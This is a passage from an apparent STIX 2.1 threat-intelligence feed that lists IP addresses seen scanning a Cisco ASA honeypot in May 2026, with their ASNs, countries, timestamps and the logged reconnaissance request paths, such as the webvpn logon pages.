            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/legacy/filechecksum HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 11,
          "first_seen": "2026-05-11T10:41:04.722Z",
          "last_seen": "2026-05-11T10:48:09.280Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--81417f5d-ba25-4991-a8a8-6f8a6059ce72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T10:45:59.649Z",
          "last_seen": "2026-05-11T10:45:59.649Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--089bbd09-9790-4f62-a32c-6444760cd017",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-11T10:45:20.324Z",
          "last_seen": "2026-05-11T10:46:07.613Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--bdb6d47d-4283-4027-b9f1-43049d190129",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T10:45:23.160Z",
          "last_seen": "2026-05-11T10:45:23.160Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3c7ce530-7b3d-4608-9886-5c93f240720d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T10:42:59.940Z",
          "last_seen": "2026-05-11T10:42:59.940Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a328e2e7-20f2-461b-8206-fb32c59742a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-11T10:43:53.545Z",
          "last_seen": "2026-05-11T10:46:10.988Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--43f3031c-8b09-4d38-8059-f48036d31d7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T10:45:38.391Z",
          "last_seen": "2026-05-11T10:45:38.391Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--426655d2-a046-4b65-a2f4-5530c13744d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:20:10.000Z",
      "valid_until": "2026-06-12T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-11T12:09:35.414Z",
          "last_seen": "2026-05-31T01:16:26.208Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--62b6e389-5118-4b20-a940-3eb8beee388d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:20:10.000Z",
      "valid_until": "2026-06-12T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T12:16:39.754Z",
          "last_seen": "2026-05-11T12:16:39.754Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--a1ed77d2-73f4-4abb-ad08-a600ad620e24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:20:10.000Z",
      "valid_until": "2026-06-12T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T12:17:28.576Z",
          "last_seen": "2026-05-11T12:17:28.576Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--44dbf891-e821-40b6-bbd7-8d6736e16f95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:20:10.000Z",
      "valid_until": "2026-06-12T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T12:16:22.503Z",
          "last_seen": "2026-05-11T12:16:22.503Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T13:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--57e19779-6cdd-4f5b-b1a9-a2434f37ec0d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.118.202.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:20:05.000Z",
      "valid_until": "2026-06-12T13:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-11T12:23:53.383Z",
          "last_seen": "2026-05-11T12:23:56.386Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T13:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8b149545-811a-4625-8ede-9c073cf6f904",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:20:05.000Z",
      "valid_until": "2026-06-12T13:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-11T12:32:33.309Z",
          "last_seen": "2026-05-26T15:48:41.291Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--2bced7fa-be4b-4e5f-b88a-2ced3e70d8f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.222.210.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:20:05.000Z",
      "valid_until": "2026-06-14T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-13T00:49:37.654Z",
          "last_seen": "2026-05-13T00:49:37.654Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--413d37b3-0e42-4e83-8984-0a357293bad2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.204.231.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:20:05.000Z",
      "valid_until": "2026-06-14T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-13T01:03:44.017Z",
          "last_seen": "2026-05-13T01:03:47.020Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--83c13e00-21cf-472b-8379-7a8ae3d9ce2b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:20:05.000Z",
      "valid_until": "2026-06-14T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-13T01:04:58.035Z",
          "last_seen": "2026-05-29T10:20:50.794Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--416de91b-25d4-4c88-b7e5-89bd09c86a7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '98.88.17.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:20:05.000Z",
      "valid_until": "2026-06-14T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-13T01:04:02.276Z",
          "last_seen": "2026-05-13T01:04:02.276Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--939ef3bc-3370-4545-b214-9e0479b92ed3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:20:12.000Z",
      "valid_until": "2026-06-14T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-13T01:43:56.927Z",
          "last_seen": "2026-05-27T13:24:00.335Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--1c0b73a2-c150-4c37-8108-cc53d309b40b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:20:12.000Z",
      "valid_until": "2026-06-14T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-13T01:30:14.141Z",
          "last_seen": "2026-05-20T08:25:31.432Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e029ed0a-bb4c-4f80-9e2f-618c4d11a99d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:20:12.000Z",
      "valid_until": "2026-06-14T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-13T01:45:20.339Z",
          "last_seen": "2026-05-17T04:07:09.826Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 17622 (China Unicom Guangzhou network)",
      "id": "indicator--9dc96791-aa8c-4c6b-ab77-8780b821c607",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '27.47.25.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T03:20:10.000Z",
      "valid_until": "2026-06-14T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-13T02:51:25.027Z",
          "last_seen": "2026-05-13T02:51:28.030Z",
          "country": "China",
          "country_code": "CN",
          "asn": 17622,
          "as_org": "China Unicom Guangzhou network",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-13T03:20:10.000Z",
